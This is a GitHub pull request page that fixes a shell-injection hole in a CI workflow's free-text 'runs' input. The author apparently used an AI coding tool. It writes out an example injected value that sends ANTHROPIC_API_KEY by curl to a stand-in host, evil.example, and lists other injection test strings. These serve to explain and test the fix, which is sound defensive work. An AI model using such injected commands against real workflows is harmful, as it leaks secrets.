Skip to content

fix(ci): stop shell injection through the routing-evals runs input - #40

Merged
timbenniks-contentstack merged 1 commit into
nextfrom
fix/routing-evals-injection
Dec 1, 2026
Merged

timbenniks-contentstack merged 1 commit into
nextfrom
fix/routing-evals-injection

Conversation

@vaishnavi-kedar-cstk

Copy link
Copy Markdown
Contributor

Fix for the script injection flagged on line 40 of .github/workflows/routing-evals.yml in #34 (Release 0.4.3). This PR targets next, so merging it puts the fix into the release.

The problem

--runs ${{ inputs.runs || '1' }} -j 6 --max-cost-usd 40

runs is a free-text workflow_dispatch input. GitHub replaces ${{ }} in the script before bash runs it, so a value like 3; curl https://evil.example?k=$ANTHROPIC_API_KEY runs as a second command in a job that has ANTHROPIC_API_KEY in its env. Only people with write access can dispatch the workflow, and on pull_request runs the input is empty, so the exposure is narrow, but it is the pattern scanners flag (GitHub guidance).

The fix

  • The input reaches the script as the env var RUNS and is used as "$RUNS", so its text is never parsed as shell.
  • The step stops with an error unless RUNS is a whole number from 1 to 99.
  • The input is now type: number (default 3), so the Run workflow form only takes numbers.

pull_request runs still use 1 run per case, and a manual dispatch still defaults to 3.

Checked

  • node scripts/validate.mjs: 34 skills and 7 manifests valid (0.4.3).
  • The workflow parses as YAML with the new type, env and run block.
  • The check run under bash --noprofile --norc -eo pipefail (the Actions shell) allows 1, 3, 99 and blocks 0, 100, empty, -1, 3.5, 3; echo PWNED, $(echo PWNED), a backtick command, 3 && curl x, and a value with a newline.
  • Not run on Actions yet: the workflow only triggers on skills/** or evals/** changes, or by manual dispatch.

🤖 Generated with Claude Code

The workflow_dispatch input `runs` was pasted into the run: script with
${{ inputs.runs }}, so text typed into it ran as shell in a job that holds
ANTHROPIC_API_KEY. Pass it through an env var, accept only 1-99, and make
the input a number field.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
@vaishnavi-kedar-cstk
vaishnavi-kedar-cstk requested a review from a team as a code owner December 1, 2026 06:13
@vaishnavi-kedar-cstk vaishnavi-kedar-cstk mentioned this pull request Dec 1, 2026
@snyk-io

snyk-io Bot commented Dec 1, 2026

Copy link
Copy Markdown

✅ Snyk checks have passed. No issues have been found so far.

Status Scan Engine Critical High Medium Low Total (0)
✅ Code Security 0 0 0 0 0 issues

💻 Catch issues earlier using the plugins for VS Code, JetBrains IDEs, Visual Studio, and Eclipse.

@github-actions

github-actions Bot commented Dec 1, 2026

Copy link
Copy Markdown

🔒 Security Scan Results

ℹ️ Note: Only vulnerabilities with available fixes (upgrades or patches) are counted toward thresholds.

Check Type Count (with fixes) Without fixes Threshold Result
🔴 Critical Severity 0 0 10 ✅ Passed
🟠 High Severity 0 0 25 ✅ Passed
🟡 Medium Severity 0 0 500 ✅ Passed
🔵 Low Severity 0 0 1000 ✅ Passed

⏱️ SLA Breach Summary

✅ No SLA breaches detected. All vulnerabilities are within acceptable time thresholds.

Severity Breaches (with fixes) Breaches (no fixes) SLA Threshold (with/no fixes) Status
🔴 Critical 0 0 15 / 30 days ✅ Passed
🟠 High 0 0 30 / 120 days ✅ Passed
🟡 Medium 0 0 90 / 365 days ✅ Passed
🔵 Low 0 0 180 / 365 days ✅ Passed

✅ BUILD PASSED - All security checks passed

@timbenniks-contentstack
timbenniks-contentstack merged commit a753cf4 into next Dec 1, 2026
6 checks passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants